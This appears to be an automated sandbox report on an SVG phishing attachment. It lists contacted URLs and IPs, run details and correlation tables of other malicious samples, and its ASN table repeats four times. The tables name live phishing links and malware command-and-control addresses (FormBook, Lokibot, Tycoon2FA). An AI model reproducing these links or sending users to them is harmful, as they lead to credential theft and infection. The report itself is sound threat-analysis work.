https://www.google.com/xjs/_/js/k=xjs.hd.en.mCEcQSPrsnc.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB/d=0/dg=0/br=1/rs=ACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg/m=aLUfP?xjs=s4	false		high
https://www.google.com/images/searchbox/desktop_searchbox_sprites318_hr.webp	false		high
https://www.google.com/xjs/_/js/md=2/k=xjs.hd.en.mCEcQSPrsnc.es5.O/am=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACQQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB/rs=ACT90oGWbkpUuyQnygPG7oExy9ofyWeITg	false		high
https://www.google.com/gen_204?atyp=csi&ei=43TkZ9b3MZSw0PEPiIOGsQ0&s=promo&rt=hpbas.2667,hpbarr.0&zx=1743025381772&opi=89978449	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.24R2mrw_td8.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/rs=AHpOoo9vR1rNwOjC3PXOxUlyKiCwNBv2Fg/cb=gapi.loaded_0	false		high
https://www.google.com/	false		high
https://www.google.com/async/hpba?vet=10ahUKEwiW9eTE26iMAxUUGDQIHYiBIdYQj-0KCBY..i&ei=43TkZ9b3MZSw0PEPiIOGsQ0&opi=89978449&yv=3&sp_imghp=false&sp_hpte=1&sp_hpep=1&stick=&cs=0&async=_basejs:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.mCEcQSPrsnc.es5.O%2Fam%3DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAQAQAAAACAAAAAEAAAEAAAAAAjACAQAAAEAAAAwAgAAAAAAwAAAAAAgAAAADAAwKOMAgACJAAAAAAAAACACwBAgAEABAAAAAAAAAAAAQAAAAAAAAEAAAAAAAAFAAAAAAAEAAAAAAAIAAACCAAAAAAAAAAAAAAAAADQAwAAAAAAAAAAAAAAAQAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUEAgIIAAAAAAAAAAAAAAAAAChpYqEB%2Fdg%3D0%2Fbr%3D1%2Frs%3DACT90oFd0_0CcwJNKEYnPSXbCsIfszuflg,_basecss:%2Fxjs%2F_%2Fss%2Fk%3Dxjs.hd.KOInGPVOb68.L.B1.O%2Fam%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAAdgIAAAAIANgBEAAAEAAAAAAAAAQQAAAAEAABgAgBAMAAAgAABAAA2AAACSAIAAAAAlMaAAABAMAAAOAACAAJAAAAFAAAAEgAAAAAAAAAAQAAAAGAABhoCIgFUAoAAgAIAIIAAIAAAABGABACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAALAAYDBCARAAAAAAAABAAgAAAAAAAAAAAAAAAAAAAAAAAAAQAAAACgAAAAAAAAAAAAAAAAAAAAg%2Fbr%3D1%2Frs%3DACT90oEftwI819Ook0SChABk1NYW2PsVtw,_basecomb:%2Fxjs%2F_%2Fjs%2Fk%3Dxjs.hd.en.mCEcQSPrsnc.es5.O%2Fck%3Dxjs.hd.KOInGPVOb68.L.B1.O%2Fam%3DCLIAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAABAAAA4EAQdwIAAACIANgBEAAAEAAAAAAjACQQAAAEEAABwAgBAMAAAwAABAAA2AAACTAIwKOMAlMaJAABAMAAAOCACwBJgAEAFAAAAEgAAAAAAQAAAQAAAAGAABhoCIgFUAoAAgAMAIIAAIAIAABGCBACAEAHAAIwAIAQAADQAxAIAAAAAAAAEAAAAbAAYDBCARAAAAAAAADQA0DwAEMKCgAAAAAAAAAAAAAABEgQzIUECgIIAAAAAAAAAAAAAAAAAChpYqEB%2Fd%3D1%2Fed%3D1%2Fdg%3D0%2Fbr%3D1%2Fujg%3D1%2Frs%3DACT90oENScASXlzMUOyOqji2BEzciEd8Wg,_fmt:prog,_id:_43TkZ9b3MZSw0PEPiIOGsQ0_9	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ogs.google.com/	chromecache_167.1.dr	false	high
https://play.google/intl/	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://families.google.com/intl/	chromecache_139.1.dr	false	high
http://www.broofa.com	chromecache_165.1.dr	false	high
https://policies.google.com/technologies/location-data	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://apis.google.com/js	chromecache_114.1.dr, chromecache_120.1.dr	false	high
https://www.google.com/intl/en/about/products	chromecache_131.1.dr	false	high
https://www.google.com/log?format=json&hasfast=true	chromecache_126.1.dr, chromecache_145.1.dr	false	high
https://lens.google.com	chromecache_145.1.dr	false	high
https://play.google.com/work/enroll?identifier=	chromecache_119.1.dr	false	high
https://policies.google.com/terms/service-specific	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://g.co/recover	chromecache_119.1.dr	false	high
https://support.google.com/websearch/answer/4358949?hl=ko&ref_topic=3285072	chromecache_119.1.dr	false	high
https://ogs.google.com/widget/callout	chromecache_167.1.dr	false	high
https://angular.dev/license	chromecache_126.1.dr, chromecache_114.1.dr, chromecache_145.1.dr, chromecache_120.1.dr	false	high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_156.1.dr	false	high
http://schema.org/WebPage	chromecache_131.1.dr	false	high
https://policies.google.com/technologies/cookies	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://lens.google.com/gen204	chromecache_170.1.dr	false	high
https://policies.google.com/terms	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://support.google.com/	chromecache_178.1.dr	false	high
https://www.google.com	chromecache_167.1.dr, chromecache_165.1.dr, chromecache_119.1.dr	false	high
https://www.google.com/url?q	chromecache_167.1.dr	false	high
https://csp.withgoogle.com/csp/lcreport/	chromecache_145.1.dr	false	high
https://www.youtube.com/t/terms?chromeless=1&hl=	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://ogs.google.com/widget/callout?eom=1	chromecache_131.1.dr	false	high
https://policies.google.com/terms/location	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://apis.google.com	chromecache_131.1.dr, chromecache_165.1.dr, chromecache_156.1.dr	false	high
https://ogs.google.com/widget/callout?prid=19046229	chromecache_131.1.dr	false	high
https://domains.google.com/suggest/flow	chromecache_156.1.dr	false	high
https://support.google.com/accounts?p=new-si-ui	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://www.google.com/tools/feedback	chromecache_178.1.dr	false	high
https://ogs.google.com/widget/app/so?eom=1	chromecache_131.1.dr	false	high
https://support.google.com/websearch/answer/106230	chromecache_145.1.dr	false	high
https://youtube.com/t/terms?gl=	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://www.google.com/intl/	chromecache_139.1.dr	false	high
https://apis.google.com/js/api.js	chromecache_126.1.dr	false	high
https://www.google.com/_/og/promos/	chromecache_131.1.dr	false	high
https://policies.google.com/privacy/google-partners	chromecache_119.1.dr, chromecache_139.1.dr	false	high
https://policies.google.com/privacy/additional	chromecache_139.1.dr	false	high
https://ogads-pa.clients6.google.com	chromecache_131.1.dr	false	high
https://plus.google.com	chromecache_156.1.dr	false	high
https://uberproxy-pen-redirect.corp.google.com/uberproxy/pen?url=	chromecache_126.1.dr, chromecache_114.1.dr, chromecache_145.1.dr, chromecache_120.1.dr	false	high
https://push.clients6.google.com/upload/	chromecache_178.1.dr	false	high
https://www.google.com"	chromecache_167.1.dr	false	high
https://support.google.com/accounts?hl=	chromecache_124.1.dr, chromecache_119.1.dr	false	high
https://policies.google.com/privacy	chromecache_139.1.dr	false	high
https://clients6.google.com	chromecache_156.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.64.1	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.80.1	unknown	United States	13335	CLOUDFLARENETUS	false
142.250.81.238	plus.l.google.com	United States	15169	GOOGLEUS	false
142.251.40.132	www.google.com	United States	15169	GOOGLEUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
104.16.3.189	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.16.1	fli5.nmpjkg.ru	United States	13335	CLOUDFLARENETUS	false
104.21.32.1	nvgy.zonqdkqezktw.es	United States	13335	CLOUDFLARENETUS	false
142.250.64.106	ogads-pa.clients6.google.com	United States	15169	GOOGLEUS	false
142.250.80.78	google.com	United States	15169	GOOGLEUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
142.251.40.142	www3.l.google.com	United States	15169	GOOGLEUS	false
142.250.65.206	play.google.com	United States	15169	GOOGLEUS	false
142.251.40.99	beacons-handoff.gcp.gvt2.com	United States	15169	GOOGLEUS	false
104.16.4.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.4

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1649568
Start date and time:	2025-03-26 22:41:37 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 49s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 134, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	22
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	EFTRemittance_Anina_DTVZBMTIPD_attach.svg
Detection:	MAL
Classification:	mal84.phis.evad.winSVG@30/129@167/17
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, sppsvc.exe, RuntimeBroker.exe, ShellExperienceHost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.176.206, 142.251.35.163, 172.253.122.84, 142.250.65.238, 184.31.68.248, 199.232.90.172, 142.250.65.227, 142.250.80.10, 142.250.80.42, 142.250.80.74, 142.250.80.106, 142.250.176.202, 142.251.40.202, 142.251.40.234, 142.251.41.10, 172.217.165.138, 142.250.65.170, 142.250.65.202, 142.250.65.234, 142.250.81.234, 142.251.32.106, 142.251.35.170, 142.250.72.106, 142.251.40.195, 142.250.65.163, 23.204.23.20, 4.175.87.197
Excluded domains from analysis (whitelisted): clients1.google.com, ssl.gstatic.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, ocsp.digicert.com, update.googleapis.com, clients.l.google.com, www.gstatic.com, c.pki.goog
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.17.24.14	Proforma.Invoice.Payment.$$.html	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/jquery/2.1.3/jquery.min.js
	http://vtaurl.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.4/webfonts/fa-brands-400.woff2
	http://Voyages.CNTraveler.com	Get hash	malicious	Unknown	Browse	cdnjs.cloudflare.com/ajax/libs/ScrollMagic/2.0.5/plugins/animation.gsap.js
104.21.64.1	UuhANT$345432.exe	Get hash	malicious	FormBook	Browse	www.nolae-eu.shop/11jg/
	SWIFT MT103.Pdf.exe	Get hash	malicious	FormBook	Browse	www.auto-total.info/bt6e/
	payment copy.exe	Get hash	malicious	FormBook	Browse	www.dramavietsub.net/8lwh/
	Compliance_Review_Documents_COSCO20250307_pdf.bat.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/sccc/five/fre.php
	0xHPSESJcg.exe	Get hash	malicious	FormBook	Browse	www.otogel.pro/oi08/?Ezu=HLGOigk8zC7c6l2lrMh01rQ2OJKxivxPRh38Fqcsh+790en3zOTPiNsvxvX68DUiI9Ju&q6A=GbtXjbKPa
	7zKn77RsRX.exe	Get hash	malicious	FormBook	Browse	www.newanthoperso.shop/3nis/
	IBbGrGi4A7.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/a669/
	ysWQ4BqQrF.exe	Get hash	malicious	FormBook	Browse	www.play-vanguard-nirvana.xyz/egs9/?mVfp=MTrLPvVhZLm&K8elV=2m/uVQwqKH2EIWlawszTKzvIepBfVH/HI19qzylF05nDLsWuBLn1pb4DiFDzbC4NqmTLwL8cGw==
	TXzf0xX2uq.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/tking3/five/fre.php
	begin.exe	Get hash	malicious	DarkTortilla, FormBook	Browse	www.kdrqcyusevx.info/z84n/
104.21.80.1	kMXEkP04ZesB76R.exe	Get hash	malicious	FormBook	Browse	www.auto-total.info/bt6e/
	invoice.exe	Get hash	malicious	FormBook	Browse	www.mulher777.info/wtn0/
	Cv.exe	Get hash	malicious	FormBook	Browse	www.mulher777.info/fowj/
	Arma Ferro - RFQ 987653411.exe	Get hash	malicious	FormBook	Browse	www.dramavietsub.net/xn0a/?Fb=4ED9+CMUbnmN5pxC68fHf0LYHtaNT0e8IHhtvZswML/bPoiJGCaeeIZEe50hSvxGzg13paLMmRN6cIdy9lHXnMZwwK17WEvumNO+DXUvtZE5GG2E5PZaRt4=&Ft04=iDlT
	UW2025-020#U00b7pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.dramavietsub.net/rcu7/
	5047792048pdf.vbs	Get hash	malicious	FormBook, GuLoader	Browse	www.dramavietsub.net/rcu7/?mbHTH=XRIXlKxnJVFUKEthJ4b1to75Xwh5Yc5hiRmvyKKqHzw4uge11MOII5dk9Gg7nuPf7mux8eELG7q95sMQ7MUe1hBR0dSMf0JiCewN4BGJ1X0IJ/mT1e/Enwc=&9j=Plml
	16Vzai4jwT.exe	Get hash	malicious	CobaltStrike	Browse	cpvnxker.xyz/headimage.jpg
	MG710417.exe	Get hash	malicious	Azorult	Browse	gd53.cfd/TL341/index.php
	PRI_VTK250419A.exe	Get hash	malicious	Lokibot	Browse	touxzw.ir/scc1/five/fre.php
	DHL AWB Receipt_pdf.bat.exe	Get hash	malicious	FormBook	Browse	www.rbopisalive.cyou/2dxw/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
beacons3.gvt2.com	https://aoocezieaoocezie.myfreshworks.com/invite/dc31162a-1c0b-4de0-9bee-658f89e887a0	Get hash	malicious	HTMLPhisher	Browse	142.250.65.163
	https://touchmplexs.shop	Get hash	malicious	Captcha Phish	Browse	142.250.65.163
	https://www.octopuspro.life/#/register	Get hash	malicious	Unknown	Browse	142.251.35.163
	https://qrcode.link/a/RkN6l2	Get hash	malicious	Unknown	Browse	142.251.35.163
	https://eqrco.de/a/thFNTJ	Get hash	malicious	Unknown	Browse	142.250.65.227
	https://www.google.com/url?q=https%3A%2F%2Fessaystoolkit.com%2Fsector&sa=D&sntz=1&usg=AOvVaw3ATSMSB0528phcgCi4pOKj&af6pbi8nqbgwu55cw518lklmc8rlvoy3529iXxT4Bo0AFw9djvzki8kdrm19expwx==BEplu6gERknDjHcCWPn6Uk6fYHCNKwIMVouDq~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~TvqxPNfBo0nAzRLySE3L8gQJHSD==xDTxOLpkPh418msS5KFjRtxBHRN	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	142.251.32.99
	https://bafkreid3spujifazpolzpws2zk5tjxpdvw52r5kyca5fumyn5avau4pzsa.ipfs.dweb.link/#ixxx@dhl.com	Get hash	malicious	HTMLPhisher	Browse	142.250.176.195
	https://www.google.com/url?q=https%3A%2F%2Fessaystoolkit.com%2Fsector&sa=D&sntz=1&usg=AOvVaw3ATSMSB0528phcgCi4pOKj&af6pbi8nqbgwu55cw518lklmc8rlvoy3529l3qOWAXRM0I9djvzki8kdrm19expwx==gXGKj7fHmzWdkj2fwKEGO6dPY7Z5PPVc3m4uU~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~LXGhAFK67Ngt8OgVyICJaqw7ha7==afV0FL0LY5RCvaMaS680fdF7POr	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	142.251.40.163
	RitualsUpdater.exe	Get hash	malicious	Unknown	Browse	142.251.41.3
	Fatura-03-2025.pdf	Get hash	malicious	Unknown	Browse	142.250.185.67
developers.cloudflare.com	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	https://publuu.com/flip-book/831678/1829815?utm_source=google%252C+newsletter%252C+facebook%252C+bing&utm_medium=paid-search&utm_campaign=summer_sale-product_launch_e5e6475977744726be143cf8cd129b6e_1742989231156&utm_term=running%252Bshoes%252C+blue%252Bdress&utm_content=school%252C+education%252C+classroom	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	FW_ FW_ DirectDeposit# 952759 _ Payment_ HSAAZDIXHI [ID_0024087].eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse	104.16.4.189
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://ergc.onirique5.com/xRmONkR9H3tSwgZ6bakdPQM/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
	Revised - Hartzellprop.com 2025 Handbook29828.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	Revised - Cwalker 2025 Handbook25807.doc	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://nz.freshmnind.ru/E9nFcFhuAwW2u/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	4354_QB_Paymt_Statemnt.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.2.189
	https://www.powr.io/form-builder/i/39342486#page	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.16.6.189
beacons2.gvt2.com	https://aoocezieaoocezie.myfreshworks.com/invite/dc31162a-1c0b-4de0-9bee-658f89e887a0	Get hash	malicious	HTMLPhisher	Browse	172.217.29.195
	https://touchmplexs.shop	Get hash	malicious	Captcha Phish	Browse	172.217.29.195
	https://www.octopuspro.life/#/register	Get hash	malicious	Unknown	Browse	34.128.8.163
	https://qrcode.link/a/RkN6l2	Get hash	malicious	Unknown	Browse	34.128.8.163
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	34.128.8.163
	https://eqrco.de/a/thFNTJ	Get hash	malicious	Unknown	Browse	142.251.46.163
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.217.170.195
	https://www.google.com/url?q=https%3A%2F%2Fessaystoolkit.com%2Fsector&sa=D&sntz=1&usg=AOvVaw3ATSMSB0528phcgCi4pOKj&af6pbi8nqbgwu55cw518lklmc8rlvoy3529iXxT4Bo0AFw9djvzki8kdrm19expwx==BEplu6gERknDjHcCWPn6Uk6fYHCNKwIMVouDq~JQ~1pwu5ro8b7dregga8ni8pcjy70e8jw2c#~JQ~TvqxPNfBo0nAzRLySE3L8gQJHSD==xDTxOLpkPh418msS5KFjRtxBHRN	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	216.239.32.3
	https://bafkreid3spujifazpolzpws2zk5tjxpdvw52r5kyca5fumyn5avau4pzsa.ipfs.dweb.link/#ixxx@dhl.com	Get hash	malicious	HTMLPhisher	Browse	66.102.1.94
	https://bafkreid3spujifazpolzpws2zk5tjxpdvw52r5kyca5fumyn5avau4pzsa.ipfs.dweb.link/#ixxx@ist.ac.at	Get hash	malicious	HTMLPhisher	Browse	142.250.197.99
beacons.gvt2.com	phishing.eml	Get hash	malicious	Unknown	Browse	142.251.116.94
	OdJqjzS22H.jar	Get hash	malicious	Can Stealer	Browse	142.250.113.94
	https://aoocezieaoocezie.myfreshworks.com/invite/dc31162a-1c0b-4de0-9bee-658f89e887a0	Get hash	malicious	HTMLPhisher	Browse	142.250.113.94
	https://touchmplexs.shop	Get hash	malicious	Captcha Phish	Browse	142.250.113.94
	https://www.octopuspro.life/#/register	Get hash	malicious	Unknown	Browse	142.250.113.94
	https://qrcode.link/a/RkN6l2	Get hash	malicious	Unknown	Browse	142.250.113.94
	https://mixpanel.com/p/FWfQuhi1aNTS16WPXLxRfi	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	142.250.113.94
	https://eqrco.de/a/thFNTJ	Get hash	malicious	Unknown	Browse	142.250.114.94
	https://www.google.com/url?q=https%3A%2F%2Fcsnrda.net%2Fun-plugins%2F&sa=D&sntz=1&usg=AOvVaw1HtbC798C9cvS3J1_HKx3j#?8407378349Family=a2lyc3RpZS5yZWVzQHF1aWx0ZXJjaGV2aW90LmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	142.250.65.195
	https://loginlive.wgyates.xyz/	Get hash	malicious	Unknown	Browse	173.194.219.94

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	RBX_tools.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, MicroClip, PySilon Stealer	Browse	162.159.134.234
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1
	phishing.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
CLOUDFLARENETUS	RBX_tools.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, MicroClip, PySilon Stealer	Browse	162.159.134.234
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1
	phishing.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
CLOUDFLARENETUS	RBX_tools.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, MicroClip, PySilon Stealer	Browse	162.159.134.234
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	http://socialsecurityupdate-files-519c76f91fjfk04.nod.free.hr/SSA/Windows/invite.php	Get hash	malicious	ScreenConnect Tool	Browse	172.64.80.1
	phishing.eml	Get hash	malicious	Unknown	Browse	104.18.11.207
CLOUDFLARENETUS	RBX_tools.exe	Get hash	malicious	Python Stealer, Discord Token Stealer, MicroClip, PySilon Stealer	Browse	162.159.134.234
	http://thepdfonestart.com	Get hash	malicious	Unknown	Browse	104.18.30.234
	https://y4d.mijnede.site/65yffgffrgrf	Get hash	malicious	HTMLPhisher, ReCaptcha Phish	Browse	104.19.230.21
	Jazzsol Audio_Msg.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	172.67.70.233
	EFTRemittance_Kenneth_KHQCSQELUN_attach.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
	Resume_PaulBrew.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	104.17.25.14
	https://ra.zqwilqbp.ru/SqYNKaI/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.21.84.180
	https://www.bing.com/ck/a?!&&p=5406480d02accf17624086c56a94c55f6a16b7aaf8708ca0aac470ec492dfdddJmltdHM9MTc0Mjk0NzIwMA&ptn=3&ver=2&hsh=4&fclid=19c568d0-da5e-6cab-0452-7d78db436d5e&u=a1aHR0cHM6Ly90ZWNub2xvZ2lhYWx0b2xhc2NvbmRlcy5jb20ubXgvbmV3LXByb2R1Y3Rz&ntb=1	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse	104.17.25.14
